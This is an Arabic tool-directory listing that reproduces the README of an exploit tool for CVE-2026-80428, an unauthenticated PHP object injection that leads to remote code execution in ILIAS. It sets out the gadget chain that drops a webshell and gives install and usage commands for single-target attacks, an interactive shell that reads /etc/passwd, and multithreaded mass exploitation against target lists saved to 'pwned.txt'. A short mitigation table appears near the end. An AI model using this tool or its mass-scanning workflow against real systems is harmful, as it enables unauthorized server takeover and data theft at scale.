Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-80428 — ILIAS ≤ 9.21 / 10.9 / 11.2 — حقن كائنات PHP دون مصادقة (تنفيذ تعليمات عن بُعد) | Kitploit
أدوات/GitHubGitHub/hackfutsecroot/cve-2026-80428
ماسحات الثغرات الأمنيةتوليد الحمولةالاستغلالاستغلال تطبيقات الويبما بعد الاستغلالأمن الويباختبار الاختراقأداة الوصول عن بعد
GitHubhackfutsecroot/cve-2026-80428

CVE-2026-80428

ILIAS ≤ 9.21 / 10.9 / 11.2 — حقن كائنات PHP دون مصادقة (تنفيذ تعليمات عن بُعد)

عرض المستودع
212منذ 27 أياملم تتم المراجعة بعد
الموقع الإلكتروني

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
Typing SVG

CVE ILIAS Type Python License



🚨 ILIAS ≤ 9.21 / 10.9 / 11.2 — حقن كائنات PHP دون مصادقة (RCE)

CVE-2026-80428

المتجه: نقطة نهاية تسجيل الخروج الخلفي لـ Shibboleth
التأثير: تنفيذ تعليمات برمجية عن بُعد بالكامل بصلاحيات مستخدم خادم الويب
الخطورة: 🔴 حرجة



📖 جدول المحتويات

  • 🔍 نظرة عامة
  • ⚙️ سلسلة الثغرة
  • 🎯 الإصدارات المتأثرة
  • ✨ الميزات
  • 📦 التثبيت
  • 🚀 الاستخدام
    • استغلال هدف واحد
    • الصدفة التفاعلية
    • الاستغلال الجماعي
  • 📁 تنسيق قائمة الأهداف
  • 🖼️ لقطات الشاشة
  • 🛡️ التخفيف
  • 📢 القنوات والمجتمع
  • ⚠️ إخلاء المسؤولية

🔍 نظرة عامة

CVE-2026-80428 هي ثغرة حقن كائنات PHP دون مصادقة حرجة تؤثر على نظام إدارة التعلم ILIAS. من خلال ربط بدائية تسميم الجلسة في ltiauth.php مع استدعاء unserialize() غير آمن في shib_logout.php، يمكن للمهاجم تحقيق كتابة ملفات عشوائية وفي النهاية تنفيذ تعليمات برمجية عن بُعد (RCE) — كل ذلك دون مصادقة.


🎯 المعامل📋 القيمة
معرّف CVECVE-2026-80428
النوعحقن كائنات PHP ← RCE
المصادقة المطلوبة❌ لا شيء
متجه الهجومالشبكة (HTTP/HTTPS)
درجة CVSS9.8 (حرجة)

⚙️ سلسلة الثغرة

flowchart LR
    A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
    B -->|Serialized Guzzle Gadget| C[PHP Session Store]
    C -->|2. Trigger unserialize| D[shib_logout.php]
    D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
    E -->|3. file_put_contents| F[💀 Webshell Dropped]
    F -->|4. Execute| G[🔓 RCE]

    style A fill:#ff4444,color:#fff
    style F fill:#ff0000,color:#fff
    style G fill:#8b0000,color:#fff

خطوة بخطوة:

  1. يقوم ltiauth.php بتخزين حمولة مُسلسَلة داخل جلسة PHP دون التحقق منها.
  2. يعالج shib_logout.php طلب SOAP مُصمَّم من نوع Shibboleth LogoutNotification ويستدعي unserialize() على بيانات الجلسة.
  3. يستدعي أداة GuzzleHttp\Cookie\FileCookieJar الدالة file_put_contents() لإسقاط PHP webshell في مسار يتحكم به المهاجم.

🎯 الإصدارات المتأثرة

🏷️ الفرع❌ عرضة للثغرة✅ مُصحَّح
9.x≤ 9.21≥ 9.22
10.x≤ 10.9≥ 10.10
11.x≤ 11.2≥ 11.3

✨ الميزات

🔥 الأساسيات

  • ✅ استغلال دون مصادقة
  • ✅ وضع الهدف الواحد (exploit)
  • ✅ صدَفة تفاعلية شبه حقيقية (shell)
  • ✅ استغلال جماعي باستخدام multiprocessing (mass)

💎 سهولة الاستخدام

  • 🎨 إخراج ملوَّن بالكامل باستخدام ANSI
  • 🔄 مسارات احتياطية تلقائية
  • 🧠 اكتشاف الإصدار والتحقق من التصحيح
  • 📝 حفظ الأهداف العرضة للثغرة تلقائيًا
  • 🌐 دعم ترويسة Host مخصَّصة
  • 🔒 دعم TLS القديم

📦 التثبيت

# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428

# Install dependencies
pip install requests urllib3

# (Optional) Make executable
chmod +x CVE-2026-80428.py

المتطلبات:

  • Python 3.8+
  • requests
  • urllib3

🚀 الاستخدام

python3 CVE-2026-80428.py <mode> [options]

📌 استغلال هدف واحد

python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal

الخيارات:

العلمالوصفالافتراضي
--portالمنفذ الهدف443
--pathجذر مستندات ILIAS على القرص/var/www/ilias/public
--host-headerترويسة Host مخصصة—
--timeoutمهلة الطلب (بالثواني)30

💻 الصدفة التفاعلية

python3 CVE-2026-80428.py shell 10.10.10.20
ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

ilias$ exit

🚀 الاستغلال الجماعي

python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt

الخيارات:

العلمالوصفالافتراضي
-l, --listمطلوب — ملف قائمة الأهداف—
-t, --threadsالعمال المتزامنون20
-o, --outputملف الإخراج للأهداف القابلة للاستغلالilias_vuln.txt
--pathجذر مستندات ILIAS/var/www/ilias/public
--host-headerترويسة Host مخصصة—
--timeoutمهلة الطلب (ثانية)30

📁 تنسيق قائمة الأهداف

أنشئ ملف targets.txt:

# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080

# Mixed formats are supported
example.org

الصيغ المدعومة:

  • host
  • host:port
  • http://host
  • https://host:port
  • host/path (يُزال المسار)

🖼️ لقطات الشاشة

🎬 مخرجات الفحص الجماعي

  [  42/500] VULN  10.10.10.20:443     https://10.10.10.20:443/util_a1b2c3.php?x=id
  [  43/500] SAFE  10.10.10.21:443     [PATCHED]
  [  44/500] ERR   10.10.10.22:8443    [Connection timed out]

  [44/500] VULN:12  SAFE:30  ERR:2  8%

🛡️ التخفيف

للمدافعين ومسؤولي النظام:

🛠️ الإجراء📝 التفاصيل
🔼 ترقية ILIAS9.22 / 10.10 / 11.3 أو أحدث
🚫 تعطيل Shibbolethإذا لم يكن مستخدمًا — احذف shib_logout.php
🧱 قواعد WAFاحظر حمولات LogoutNotification المشوّهة في SOAP
📂 تقييد صلاحية الكتابةيجب ألا يكون جذر الويب قابلًا للكتابة بواسطة www-data
🔍 المراقبةابحث عن ملفات .php غير المتوقعة في مجلدات الرفع/التخزين المؤقت

📢 القنوات والمجتمع

🌐 انضم إلى المجتمع


 



تنزيل الأداة